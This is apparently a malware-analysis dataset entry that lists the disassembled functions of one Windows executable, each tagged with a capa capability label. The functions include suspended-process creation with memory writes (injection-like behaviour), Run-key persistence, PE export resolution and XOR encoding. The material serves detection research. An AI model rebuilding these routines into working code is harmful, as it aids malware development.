joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43c764
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x43c809
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4575b8]
cmp byte [eax], 0
jne 0x43c7f3
mov eax, dword [0x45775c]
cmp byte [eax], 0
jne 0x43c7f3
mov eax, dword [0x4574bc]
cmp byte [eax], 0
jne 0x43c7f3
lea eax, [ebp - 8]
call fcn.0043e184
mov eax, dword [ebp - 8]
mov edx, 0x43c81c
call fcn.004047e4
je 0x43c7f3
cmp byte [0x458de0], 0
jne 0x43c7f3
cmp dword [0x458dec], 0
jbe 0x43c7d1
push 0
mov eax, dword [0x458dec]
push eax
call sub.kernel32.dll_TerminateThread
mov byte [0x458de0], 1
push 0
push 0
lea eax, [ebp - 4]
push eax
mov ecx, 0x43c5a4
xor edx, edx
xor eax, eax
call fcn.00404370
mov dword [0x458dec], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43c810
lea eax, [ebp - 8]
call fcn.004043bc
ret

Function at 0x43c858
Capabilities:
Terminate thread

Disassembly:
call fcn.0043ae24
cmp dword [0x458dec], 0
jbe 0x43c873
push 0
mov eax, dword [0x458dec]
push eax
call sub.kernel32.dll_TerminateThread
mov byte [0x458de0], 0
ret

Function at 0x43e0bc
Capabilities:
Get session user name

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
mov eax, dword [0x457644]
cmp dword [eax], 0
je 0x43e0e0
mov eax, ebx
mov edx, dword [0x457644]
mov edx, dword [edx]
call fcn.00404410
jmp 0x43e11a
mov dword [esp], 0x101
push esp
lea eax, [esp + 8]
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x43e103
mov edx, dword [esp]
dec edx
mov eax, ebx
call fcn.004049c8
jmp 0x43e10a
mov eax, ebx
call fcn.004043bc
mov eax, ebx
lea edx, [esp + 4]
mov ecx, 0x101
call fcn.0040462c
add esp, 0x108
pop ebx
ret

Function at 0x43e5e8
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret
Function at 0x442080
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff90
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404888
mov eax, dword [ebp - 8]
call fcn.00404888
mov eax, dword [ebp - 0xc]
call fcn.00404888
xor eax, eax
push ebp
push 0x442253
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
lea eax, [ebp - 0x6c]
mov edx, 0x44
call fcn.004256c8
lea eax, [ebp - 0x28]
mov edx, 0x10
call fcn.004256c8
mov dword [ebp - 0x6c], 0x44
mov word [ebp - 0x3c], 0
mov dword [ebp - 0x40], 1
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404898
push eax
mov eax, dword [ebp - 4]
call fcn.00404898
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x442165
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp - 0x70]
push eax
xor ecx, ecx
mov edx, 0x44226c
mov eax, dword [ebp - 8]
call fcn.00449fb4
mov eax, dword [ebp - 0x70]
call fcn.00404898
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x442165
mov eax, 0x442278
call fcn.0043fa44
jmp 0x442230
mov ebx, dword [ebp - 0x28]
push 0x40
push 0x1000
mov eax, dword [ebp - 0xc]
call fcn.00404698
push eax
push 0
push ebx
call fcn.004419b4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4421a6
push 0x1000
push 0x40
mov eax, dword [ebp - 0xc]
call fcn.00404698
mov ecx, eax
xor edx, edx
mov eax, ebx
call fcn.00445e8c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x442230
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404698
push eax
lea eax, [ebp - 0xc]
call fcn.004048f0
push eax
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.00441a4c
mov eax, dword [ebp - 0xc]
call fcn.00404698
sub eax, 2
cdq
push edx
push eax
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x4421f2
cmp eax, dword [esp]
pop edx
pop eax
jae 0x442217
jmp 0x4421f6
pop edx
pop eax
jge 0x442217
mov eax, dword [ebp - 0xc]
call fcn.00404698
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
call fcn.004048f0
mov ecx, eax
mov edx, dword [ebp - 0x10]
mov eax, ebx
call fcn.00445638
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0
lea eax, [ebp - 0x18]
push eax
xor ecx, ecx
xor edx, edx
mov eax, ebx
call fcn.00445ff8
mov esi, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44225a
lea eax, [ebp - 0x70]
call fcn.004043bc
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004043e0
ret
Function at 0x4422a0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404888
mov eax, dword [ebp - 8]
call fcn.00404888
xor eax, eax
push ebp
push 0x4424bc
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp + 8], 0
je 0x4423bb
cmp dword [ebp - 4], 0
jne 0x4422eb
lea eax, [ebp - 4]
mov edx, 0x4424d8
call fcn.00404454
lea eax, [ebp - 0x68]
mov edx, 0x44
call fcn.004256c8
lea eax, [ebp - 0x24]
mov edx, 0x10
call fcn.004256c8
mov dword [ebp - 0x68], 0x44
mov word [ebp - 0x38], 0
mov dword [ebp - 0x3c], 1
mov eax, dword [ebp - 4]
mov edx, 0x4424d8
call fcn.004047e4
jne 0x442370
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404898
mov esi, eax
push esi
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4423b6
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call sub.kernel32.dll_CreateProcessA
jmp 0x4423b6
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404898
mov esi, eax
push esi
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4423b6
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push esi
call sub.kernel32.dll_CreateProcessA
mov esi, dword [ebp - 0x24]
jmp 0x4423d5
xor ebx, ebx
mov ecx, esi
xor edx, edx
mov eax, 0x1f0fff
call fcn.00445030
mov esi, eax
test esi, esi
je 0x4424a1
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
call fcn.00404698
push eax
push 0
push esi
call fcn.004419b4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x442413
push 0x1000
push 0x40
mov eax, dword [ebp - 8]
call fcn.00404698
mov ecx, eax
xor edx, edx
mov eax, esi
call fcn.00445e8c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4424a1
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
call fcn.00404698
push eax
lea eax, [ebp - 8]
call fcn.004048f0
push eax
mov eax, dword [ebp - 0xc]
push eax
push esi
call fcn.00441a4c
mov eax, dword [ebp - 8]
call fcn.00404698
sub eax, 2
cdq
push edx
push eax
mov eax, dword [ebp - 0x10]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x44245f
cmp eax, dword [esp]
pop edx
pop eax
jae 0x442484
jmp 0x442463
pop edx
pop eax
jge 0x442484
mov eax, dword [ebp - 8]
call fcn.00404698
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
call fcn.004048f0
mov ecx, eax
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00445638
mov eax, dword [ebp - 0xc]
push eax
push 0
push 0
lea eax, [ebp - 0x14]
push eax
xor ecx, ecx
xor edx, edx
mov eax, esi
call fcn.00445ff8
test eax, eax
jbe 0x4424a1
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4424c3
lea eax, [ebp - 8]
mov edx, 2
call fcn.004043e0
ret
Function at 0x4433c0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404888
mov eax, dword [ebp - 8]
call fcn.00404888
mov eax, dword [ebp - 0xc]
call fcn.00404888
xor eax, eax
push ebp
push 0x4434bc
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x458ef8], eax
mov eax, 0x458f0c
mov edx, dword [ebp - 4]
call fcn.00404410
mov eax, 0x458f08
mov edx, dword [ebp - 0xc]
call fcn.00404410
lea eax, [ebp - 0x10]
call fcn.00446048
mov eax, dword [ebp - 8]
call fcn.00404898
call fcn.004450e0
mov eax, 0x64
call fcn.00444ca4
mov eax, 0x4415d8
call fcn.0044796c
mov edi, eax
xor ebx, ebx
xor esi, esi
cmp dword [0x458ef8], 0
jne 0x44348e
mov eax, 0x64
call fcn.00444ca4
inc ebx
cmp bx, 0x190
jle 0x443485
cmp si, 2
je 0x44348e
inc esi
push 0
push edi
call sub.kernel32.dll_TerminateThread_1
mov eax, 0x4415d8
call fcn.0044796c
mov edi, eax
xor ebx, ebx
cmp dword [0x458ef8], 0
je 0x443456
mov ebx, dword [0x458ef8]
mov eax, dword [ebp - 0x10]
call fcn.00404898
call fcn.004450e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4434c3
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.004043e0
ret
Function at 0x443a3c
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe8
xor edx, edx
mov dword [esp], edx
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call sub.kernel32.dll_CreateFileW
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x443a77
push 0
push 0x443b74
push 0x443b78
push 0
call sub.user32.dll_MessageBoxA_1
xor edx, edx
mov eax, ebp
call fcn.00445ee0
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
call fcn.00402a30
mov ebx, eax
lea eax, [esp + 8]
push eax
push 0
mov edx, ebx
mov ecx, dword [esp + 0xc]
mov eax, ebp
call fcn.00445f4c
test eax, eax
jne 0x443aba
push 0
push 0x443b74
push 0x443b7c
push 0
call sub.user32.dll_MessageBoxA_1
mov dword [esp + 0xc], ebx
mov eax, dword [esp + 0xc]
mov eax, dword [eax + 0x3c]
add eax, ebx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 0x50]
call fcn.00402a30
mov dword [esp], eax
mov eax, dword [esp + 0x10]
mov edx, dword [eax + 0x50]
mov eax, dword [esp]
call fcn.00406f38
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 0x54]
push eax
push ebx
mov eax, dword [esp + 8]
push eax
call fcn.00444c88
mov eax, dword [esp + 0x10]
mov si, word [eax + 6]
dec esi
test si, si
jb 0x443b56
inc esi
xor edi, edi
mov edx, dword [esp + 0xc]
mov edx, dword [edx + 0x3c]
mov eax, ebx
add edx, eax
add edx, 0xf8
movzx ecx, di
shl ecx, 3
lea ecx, [ecx + ecx*4]
add edx, ecx
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x14]
mov edx, dword [edx + 0x10]
push edx
mov edx, dword [esp + 0x18]
mov edx, dword [edx + 0x14]
add edx, eax
push edx
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 0xc]
add eax, dword [esp + 8]
push eax
call fcn.00444c88
inc edi
dec si
jne 0x443b0d
mov edx, dword [esp + 4]
mov eax, ebx
call fcn.00402a60
mov eax, ebp
call fcn.00445230
mov eax, dword [esp]
add esp, 0x18
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x443bec
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
push esi
add esp, 0xffffffd8
mov dword [esp], edx
mov esi, eax
xor eax, eax
mov dword [esp + 4], eax
mov edx, dword [esi + 0x3c]
mov eax, esi
add edx, eax
mov dword [esp + 8], edx
mov edx, dword [esp + 8]
add edx, 0x78
mov dword [esp + 0xc], edx
mov edx, dword [esp + 0xc]
mov edx, dword [edx]
add edx, eax
mov dword [esp + 0x10], edx
mov edx, dword [esp + 0x10]
mov edx, dword [edx + 0x1c]
add edx, eax
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0x10]
mov edx, dword [edx + 0x20]
add edx, eax
mov dword [esp + 0x1c], edx
mov edx, dword [esp + 0x10]
mov edx, dword [edx + 0x24]
add edx, eax
mov dword [esp + 0x20], edx
mov eax, dword [esp + 0x18]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
mov ebx, dword [eax + 0x18]
dec ebx
test ebx, ebx
jb 0x443cd6
inc ebx
mov eax, dword [esp + 0x20]
movzx edx, word [eax]
xor eax, eax
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x18], ecx
cmp edx, eax
jbe 0x443c79
add dword [esp + 0x18], 4
inc eax
cmp edx, eax
ja 0x443c6f
mov edx, dword [esp + 0xc]
mov edx, dword [edx]
mov eax, dword [esp + 0x18]
mov eax, dword [eax]
cmp edx, eax
ja 0x443c94
mov ecx, dword [esp + 0xc]
add edx, dword [ecx + 4]
cmp eax, edx
jb 0x443cc9
mov eax, dword [esp + 0x1c]
mov eax, dword [eax]
add eax, esi
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
call fcn.00443928
mov ecx, eax
mov edx, dword [esp + 0x24]
xor eax, eax
call fcn.0044393c
cmp eax, dword [esp]
jne 0x443cc9
mov eax, dword [esp + 0x18]
mov eax, dword [eax]
add eax, esi
mov dword [esp + 4], eax
jmp 0x443cd6
add dword [esp + 0x20], 2
add dword [esp + 0x1c], 4
dec ebx
jne 0x443c5a
mov eax, dword [esp + 4]
add esp, 0x28
pop esi
pop ebx
ret

Function at 0x444250
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404888
mov eax, dword [ebp - 8]
call fcn.00404888
xor eax, eax
push ebp
push 0x4442ec
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0x102
lea eax, [ebp - 0xc]
push eax
mov edx, 0x4442fc
xor ecx, ecx
mov eax, 0x80000002
call fcn.004457f4
test eax, eax
jne 0x4442d1
push 1
mov eax, dword [ebp - 8]
call fcn.00404898
push eax
mov eax, dword [ebp - 8]
call fcn.00404698
inc eax
push eax
mov eax, dword [ebp - 4]
call fcn.00404898
mov edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0xc]
call fcn.00445114
test eax, eax
sete bl
mov eax, dword [ebp - 0xc]
call fcn.004457cc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4442f3
lea eax, [ebp - 8]
mov edx, 2
call fcn.004043e0
ret
Function at 0x447b48
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
mov esi, eax
xor ebx, ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, esi
call fcn.00404898
push eax
call sub.kernel32.dll_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
jne 0x447b84
mov eax, edi
call fcn.00445230
jmp 0x447cb2
push 0
push 0
push 0
push 2
push 0
push edi
call sub.kernel32.dll_CreateFileMappingA
mov esi, eax
test esi, esi
jne 0x447bad
mov eax, edi
call fcn.00445230
mov eax, esi
call fcn.00445230
jmp 0x447cb2
push 0
push 0
xor ecx, ecx
mov edx, 4
mov eax, esi
call fcn.00444f84
mov dword [esp], eax
cmp dword [esp], 0
jne 0x447bdb
mov eax, edi
call fcn.00445230
mov eax, esi
call fcn.00445230
jmp 0x447cb2
mov eax, dword [esp]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
je 0x447c09
mov eax, edi
call fcn.00445230
mov eax, esi
call fcn.00445230
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
jmp 0x447cb2
mov eax, dword [esp + 4]
mov edx, dword [esp + 4]
add eax, dword [edx + 0x3c]
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
cmp dword [eax], 0x4550
je 0x447c3d
mov eax, edi
call fcn.00445230
mov eax, esi
call fcn.00445230
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
jmp 0x447cb2
mov eax, dword [esp + 8]
cmp dword [eax], 0x4550
jne 0x447c99
mov eax, dword [esp + 8]
mov ax, word [eax + 0x18]
sub ax, 0x10b
je 0x447c5f
sub ax, 0x100
je 0x447c7c
jmp 0x447c9b
mov eax, dword [esp + 8]
mov ax, word [eax + 0x5c]
sub ax, 2
je 0x447c74
dec ax
je 0x447c78
jmp 0x447c9b
mov bl, 2
jmp 0x447c9b
mov bl, 3
jmp 0x447c9b
mov eax, dword [esp + 8]
mov ax, word [eax + 0x5c]
sub ax, 2
je 0x447c91
dec ax
je 0x447c95
jmp 0x447c9b
mov bl, 4
jmp 0x447c9b
mov bl, 5
jmp 0x447c9b
mov bl, 1
mov eax, edi
call fcn.00445230
mov eax, esi
call fcn.00445230
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov eax, ebx
add esp, 0xc
pop edi
pop esi
pop ebx
ret
Function at 0x447cbc
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
mov esi, eax
xor ebx, ebx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, esi
call fcn.00404898
push eax
call sub.kernel32.dll_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
jne 0x447cf8
mov eax, edi
call fcn.00445230
jmp 0x447df1
push 0
push 0
push 0
push 2
push 0
push edi
call sub.kernel32.dll_CreateFileMappingA
mov esi, eax
test esi, esi
jne 0x447d21
mov eax, edi
call fcn.00445230
mov eax, esi
call fcn.00445230
jmp 0x447df1
push 0
push 0
xor ecx, ecx
mov edx, 4
mov eax, esi
call fcn.00444f84
mov dword [esp], eax
cmp dword [esp], 0
jne 0x447d4f
mov eax, edi
call fcn.00445230
mov eax, esi
call fcn.00445230
jmp 0x447df1
mov eax, dword [esp]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
je 0x447d7a
mov eax, edi
call fcn.00445230
mov eax, esi
call fcn.00445230
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
jmp 0x447df1
mov eax, dword [esp + 4]
mov edx, dword [esp + 4]
add eax, dword [edx + 0x3c]
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
cmp dword [eax], 0x4550
je 0x447dae
mov eax, edi
call fcn.00445230
mov eax, esi
call fcn.00445230
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
jmp 0x447df1
mov eax, dword [esp + 8]
cmp dword [eax], 0x4550
jne 0x447dd8
mov eax, dword [esp + 8]
mov ax, word [eax + 0x18]
sub ax, 0x10b
je 0x447dd0
sub ax, 0x100
je 0x447dd4
jmp 0x447dda
mov bl, 2
jmp 0x447dda
mov bl, 3
jmp 0x447dda
mov bl, 1
mov eax, edi
call fcn.00445230
mov eax, esi
call fcn.00445230
mov eax, dword [esp]
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov eax, ebx
add esp, 0xc
pop edi
pop esi
pop ebx
ret

Function at 0x448730
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov dword [esp + 4], ecx
mov dword [esp], edx
mov ebp, eax
mov eax, dword [esp]
call fcn.00404698
mov edi, eax
mov eax, dword [esp]
call fcn.00404698
mov esi, eax
test esi, esi
jle 0x44876b
mov ebx, 1
mov eax, dword [esp]
movzx eax, byte [eax + ebx - 1]
xor edi, eax
inc ebx
dec esi
jne 0x44875d
mov eax, dword [esp + 4]
mov edx, ebp
call fcn.00404410
mov eax, ebp
call fcn.00404698
mov esi, eax
test esi, esi
jle 0x4487a1
mov ebx, 1
mov eax, dword [esp + 4]
call fcn.004048f0
mov edx, edi
xor dl, byte [ebp + ebx - 1]
not dl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x448788
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x448800
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x44], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404888
xor eax, eax
push ebp
push 0x4488b0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004458cc
test al, al
je 0x448892
lea eax, [ebp - 0x40]
mov edx, 0x3c
call fcn.00406f38
mov dword [ebp - 0x40], 0x3c
mov eax, dword [ebp - 4]
call fcn.00404898
mov dword [ebp - 0x30], eax
mov eax, ebx
call fcn.00404898
mov dword [ebp - 0x2c], eax
lea edx, [ebp - 0x44]
mov eax, dword [ebp - 4]
call fcn.004089f4
mov eax, dword [ebp - 0x44]
call fcn.00404898
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 1
lea eax, [ebp - 0x40]
push eax
call sub.shell32.dll_ShellExecuteExA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x448892
call sub.kernel32.dll_GetLastError
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4488b7
lea eax, [ebp - 0x44]
call fcn.004043bc
lea eax, [ebp - 4]
call fcn.004043bc
ret

Function at 0x4488c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
xor esi, esi
or edi, 0xffffffff
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x3c
call fcn.004030e4
mov dword [ebp - 0x4c], 0x3c
mov dword [ebp - 0x48], 0x40
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 4]
call fcn.00404898
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 8]
call fcn.00404898
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xc]
call fcn.00404898
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
push eax
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x448968
mov eax, 1
call fcn.00444ca4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetExitCodeProcess
test bl, bl
je 0x448954
inc esi
cmp esi, 0x7530
jg 0x44895d
cmp dword [ebp - 0x10], 0x103
je 0x448930
mov eax, dword [ebp - 0x14]
call fcn.00445230
mov edi, dword [ebp - 0x10]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x448974
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
push ebx
xor ebx, ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00404888
mov eax, dword [ebp - 8]
call fcn.00404888
mov eax, dword [ebp - 0xc]
call fcn.00404888
xor eax, eax
push ebp
push 0x448ad8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x4489ee
push 0x448af0
push dword [ebp - 4]
push 0x448afc
push dword [ebp - 8]
lea eax, [ebp - 0x68]
mov edx, 4
call fcn.00404758
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.00408114
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 8]
call fcn.00404454
lea eax, [ebp - 0x60]
mov edx, 0x44
call fcn.00406f38
lea eax, [ebp - 0x1c]
mov edx, 0x10
call fcn.00406f38
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
test ebx, ebx
je 0x448a2c
mov word [ebp - 0x30], 5
mov eax, ebx
call fcn.00404898
mov dword [ebp - 0x58], eax
jmp 0x448a32
mov word [ebp - 0x30], 0
cmp dword [ebp - 0xc], 0
jne 0x448a68
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404898
push eax
mov eax, dword [ebp - 4]
call fcn.00404898
push eax
call sub.kernel32.dll_CreateProcessA
jmp 0x448a9d
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404898
push eax
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404898
push eax
mov eax, dword [ebp - 4]
call fcn.00404898
push eax
call sub.kernel32.dll_CreateProcessA
mov eax, dword [ebp - 0x1c]
mov ebx, eax
cmp byte [ebp + 0xc], 0
je 0x448ab0
or edx, 0xffffffff
call fcn.00445190
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x448adf
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.004043e0
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004043e0
ret

Function at 0x449b9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
xor ecx, ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404888
mov eax, dword [ebp - 8]
call fcn.00404888
xor eax, eax
push ebp
push 0x449c4c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x44]
mov edx, 0x3c
call fcn.00406f38
mov dword [ebp - 0x44], 0x3c
mov eax, dword [ebp - 4]
call fcn.00404898
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 8]
call fcn.00404898
mov dword [ebp - 0x30], eax
lea edx, [ebp - 0x48]
mov eax, dword [ebp - 4]
call fcn.004089f4
mov eax, dword [ebp - 0x48]
call fcn.00404898
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x44]
push eax
call sub.shell32.dll_ShellExecuteExA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x449c29
call sub.kernel32.dll_GetLastError
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x449c53
lea eax, [ebp - 0x48]
call fcn.004043bc
lea eax, [ebp - 8]
mov edx, 2
call fcn.004043e0
ret